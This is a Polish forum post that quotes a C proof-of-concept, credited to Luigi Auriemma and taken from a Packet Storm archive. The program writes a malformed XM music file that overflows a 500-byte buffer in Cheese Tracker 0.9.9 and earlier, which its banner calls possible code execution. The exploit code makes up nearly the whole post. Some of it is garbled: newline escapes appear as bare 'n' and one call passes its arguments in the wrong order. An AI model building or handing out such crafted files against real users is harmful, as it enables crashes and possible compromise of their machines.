http://packetstormsecurity.org/0607-exploi...07-exploits.tgz
W tym archiwum znajduje sie wlascie ten programik o nazwie cheesebof
"rozkompilowany" plik wyglada tak..
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#define VER "0.1"
#define CPOS 243 // reader.get_file_pos()-p_cpos
#define JUNKSZ (500 + CPOS) // Uint8 junkbuster[500]
#define OVERFLOW 740 // overflow
#define BOFSZNUM (JUNKSZ + OVERFLOW)
#define BOFSZ ((JUNKSZ + OVERFLOW) - CPOS)
#define myzero(x) memset(x, 0, sizeof(x));
void put_bytes(FILE *fd, int chr, int size);
void std_err(void);
#pragma pack(1)
struct header {
uint8_t id_text[17];
uint8_t mod_name[20];
uint8_t boh;
uint8_t tracker[20];
uint16_t ver;
uint32_t head_size;
uint16_t song_len;
uint16_t restart_pos;
uint16_t channels;
uint16_t patterns;
uint16_t instr;
uint16_t flags;
uint16_t tempo;
uint16_t bpm;
uint8_t patt_table[256];
} header;
struct patterns {
uint32_t length;
uint8_t type;
uint16_t rows;
uint16_t packed_size;
} patterns;
struct instruments {
uint32_t size;
uint8_t name[22];
uint8_t type;
uint16_t samples;
uint32_t Sample_header_size;
} instruments;
struct envelope {
uint8_t Sample_number_for_all_notes[96];
uint16_t Points_for_volume_envelope[24];
uint16_t Points_for_panning_envelope[24];
uint8_t Number_of_volume_points;
uint8_t Number_of_panning_points;
uint8_t Volume_sustain_point;
uint8_t Volume_loop_start_point;
uint8_t Volume_loop_end_point;
uint8_t Panning_sustain_point;
uint8_t Panning_loop_start_point;
uint8_t Panning_loop_end_point;
uint8_t Volume_type;
uint8_t Panning_type;
uint8_t Vibrato_type;
uint8_t Vibrato_sweep;
uint8_t Vibrato_depth;
uint8_t Vibrato_rate;
uint16_t Volume_fadeout;
uint16_t Reserved; // uint8_t Reserved[11]; (do not use here)
} envelope;
struct sample {
uint32_t length;
uint32_t loop_start;
uint32_t loop_length;
uint8_t volume;
uint8_t finetune;
uint8_t type;
uint8_t panning;
int8_t relative_note;
uint8_t reserved;
uint8_t name[22];
} sample;
#pragma pack()
int main(int argc, char *argv[]) {
FILE *fd;
int i,
j;
char *fname;
setbuf(stdout, NULL);
fputs("n"
"Cheese Tracker <= 0.9.9 possible code execution "VER"n"
"by Luigi Auriemman"
"e-mail:
[email protected]"
"web: aluigi.orgn"
"n", stdout);
if(argc < 2) {
printf("n"
"Usage: %s <output_file.XM>n"
"n", argv[0]);
exit(1);
}
fname = argv[1];
printf("- create file %sn", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();
/* header */
printf("- build headern");
strncpy(header.id_text, "id_text", sizeof(header.id_text));
strncpy(header.mod_name, "mod_name", sizeof(header.mod_name));
header.boh = 26;
strncpy(header.tracker, "tracker", sizeof(header.tracker));
header.ver = 4 | (1 << 8);
header.head_size = 276;
header.song_len = 0;
header.restart_pos = 0;
header.channels = 0;
header.patterns = 0;
header.instr = 1;
header.flags = 1;
header.tempo = 6;
header.bpm = 130;
myzero(header.patt_table);
fwrite(&header, sizeof(header), 1, fd);
/* patterns */
for(i = 0; i < header.patterns; i++) {
printf("- build patternn");
patterns.length = 9,
patterns.type = 0;
patterns.rows = 64,
patterns.packed_size = 0;
fwrite(&patterns, sizeof(patterns), 1, fd);
put_bytes(fd, patterns.packed_size, 0xff); // packed!
}
/* instruments */
printf("- build instrumentsn");
for(i = 0; i < header.instr; i++) {
instruments.size = BOFSZNUM;
strncpy(instruments.name, "instrument_name", sizeof(instruments.name));
instruments.type = 0;
instruments.samples = 1;
instruments.Sample_header_size = 40;
fwrite(&instruments, sizeof(instruments), 1, fd);
for(j = 0; j < instruments.samples; j++) {
/* envelope */
printf("- build envelopen");
myzero(envelope.Sample_number_for_all_notes);
myzero(envelope.Points_for_volume_envelope);
myzero(envelope.Points_for_panning_envelope);
envelope.Number_of_volume_points = 0;
envelope.Number_of_panning_points = 0;
envelope.Volume_sustain_point = 0;
envelope.Volume_loop_start_point = 0;
envelope.Volume_loop_end_point = 0;
envelope.Panning_sustain_point = 0;
envelope.Panning_loop_start_point = 0;
envelope.Panning_loop_end_point = 0;
envelope.Volume_type = 0;
envelope.Panning_type = 0;
envelope.Vibrato_type = 0;
envelope.Vibrato_sweep = 0;
envelope.Vibrato_depth = 0;
envelope.Vibrato_rate = 0;
envelope.Volume_fadeout = 128;
envelope.Reserved = 0;
fwrite(&envelope, sizeof(envelope), 1, fd);
printf("- %d bytes will be copied in the junkbuster[500] buffern", BOFSZ);
put_bytes(fd, BOFSZ, 'a');
}
}
fclose(fd);
printf("- finishedn");
return(0);
}
void put_bytes(FILE *fd, int size, int chr) {
while(size--) fputc(chr, fd);
}
void std_err(void) {
perror("nError");
exit(1);
}
Widzicie gdzieś błedy ??
Dodaje... Plik pochodzi ze strony Luigi Auriemma, zapewne ten pan jest jego autorem
www.aluigi.org
